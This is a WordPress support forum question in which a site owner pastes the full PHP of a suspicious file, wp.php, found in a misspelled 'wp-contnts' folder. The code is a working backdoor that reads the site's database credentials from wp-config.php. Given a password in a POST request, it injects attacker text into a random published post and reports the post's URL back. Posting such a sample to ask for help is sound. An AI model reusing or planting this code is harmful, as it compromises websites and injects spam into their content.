new wp-contnts folder
-
I have been trying out several plugins from www.ads-software.com for external linking of products to a new tab. Suddenly I discover a new folder in the public_html folder call “wp-contnts” (yes, correct spelling). Inside the folder is a file “wp.php”. Do you know what this is? Have I been hacked? Here’s the wp-php code:
<?php ini_set('display_errors',"On");$pl="fdiuw9UYGx99ewbKb3xvvcclbHVGUVIYCey8we9302eid";$path="";$goodpath="";for($i=0;$i<50;$i++){if(empty($path)){$path="./";if(file_exists($path ."wp-config.php")){@include($path ."wp-config.php");break;}else{$path="goup";}}elseif($path=="goup"){$path="../";if(file_exists($path ."wp-config.php")){@include($path ."wp-config.php");break;}else{$path=$path ."../";}}else{if(file_exists($path ."wp-config.php")){@include($path ."wp-config.php");break;}else{$path=$path ."../";}}}$wp_dbhost=DB_HOST;if(!empty($wp_dbhost)){$wp_dbname=DB_NAME;$wp_dbuser=DB_USER;$wp_dbpass=DB_PASSWORD;$prefi=$table_prefix;$db_prt="3306";if(stripos("qqq" .$wp_dbhost,":")){$wp_dbhost=explode(":",$wp_dbhost);$db_prt=$wp_dbhost[1];$wp_dbhost=$wp_dbhost[0];}if(!empty($_POST["vb6dfhgxb54erf"])&& $_POST["vb6dfhgxb54erf"]=="l4983afbnerer"&&!empty($_POST["hj34qsdccvvn4"])&&!empty($_POST["xv443shtsfgfhfg"])){if($pl!=$_POST["xv443shtsfgfhfg"]){die();}$texttoadd=stripslashes(urldecode($_POST["hj34qsdccvvn4"]));$usedpostids=$_POST["cvb5e6edofgd4"];$allpostsids=readNeedColDataWL($prefi ."posts","ID","post_status='publish'",$wp_dbhost,$wp_dbname,$wp_dbuser,$wp_dbpass,$db_prt);$needpostid="";if(empty($usedpostids)){srand((float)microtime()*1000000);shuffle($allpostsids);$needpostid=$allpostsids[0]["ID"];}else{$usedpostids=urldecode($usedpostids);$usedpostids=stripslashes($usedpostids);$usedpostids=unserialize($usedpostids);foreach($allpostsids as $k=>$onepostid){$allpostsids[$k]=$onepostid["ID"];}$notusedids=array_diff($allpostsids,$usedpostids);if(count($notusedids)==0){srand((float)microtime()*1000000);shuffle($allpostsids);$needpostid=$allpostsids[0];}else{srand((float)microtime()*1000000);shuffle($notusedids);$needpostid=$notusedids[0];}}if(!empty($needpostid)){$postdata=readValueFromBDWL($prefi ."posts","post_content","ID='" .$needpostid ."'",$wp_dbhost,$wp_dbname,$wp_dbuser,$wp_dbpass,$db_prt);$postdata=$texttoadd ."<br>" .$postdata;$postdata=str_ireplace("'","\'",$postdata);$res=updateBDDataWL($prefi ."posts",$postdata,"post_content","ID='" .$needpostid ."'",$wp_dbhost,$wp_dbname,$wp_dbuser,$wp_dbpass,$db_prt);if(!empty($res)&& $res!="no"){$posturl=get_permalink($needpostid);$gooddata=array("postid"=>$needpostid,"posturl"=>$posturl);$gooddata=serialize($gooddata);$gooddata=urlencode($gooddata);echo "cvnuytr54wwrdthfg:::" .$gooddata .":::cvnuytr54wwrdthfg";die();}}}}function updateBDDataWL($tablename,$data,$value,$uslovie,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return "no";}else{mysqli_set_charset($dbcon,"utf8");$sql="UPDATE " .$tablename ." SET $value='" .$data ."' WHERE " .$uslovie ."";if(mysqli_query($dbcon,$sql)){mysqli_close($dbcon);return "yes";}else{mysqli_close($dbcon);return false;}}}function readValueFromBDWL($tablename,$value,$uslovie,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return "no";}else{mysqli_set_charset($dbcon,"utf8");if(!empty($uslovie)){$sql="SELECT " .$value ." FROM " .$tablename ." where " .$uslovie;}else{$sql="SELECT " .$value ." FROM " .$tablename;}$needvalue=mysqli_query($dbcon,$sql);$needvalue=mysqli_fetch_array($needvalue);if(!empty($needvalue)){if(!empty($uslovie)){if(stripos($value,",")){$value=explode(",",$value);$res=array();foreach($value as $onevalue){$onevalue=trim($onevalue);$res[$onevalue]=$needvalue[$onevalue];}$needvalue=$res;}else{$needvalue=$needvalue[$value];}}mysqli_close($dbcon);return $needvalue;}else{mysqli_close($dbcon);return "no";}}}function readNeedColDataWL($tablename,$col,$uslovie,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return false;}else{$sql="SELECT " .$col ." FROM " .$tablename ." where " .$uslovie ." ORDER BY
id` DESC”;$needvalue=mysqli_query($dbcon,$sql);if(!empty($needvalue)){$res=array();while($r=mysqli_fetch_assoc($needvalue)){$res[]=$r;}mysqli_close($dbcon);return $res;}mysqli_close($dbcon);return false;}}
`
- The topic ‘new wp-contnts folder’ is closed to new replies.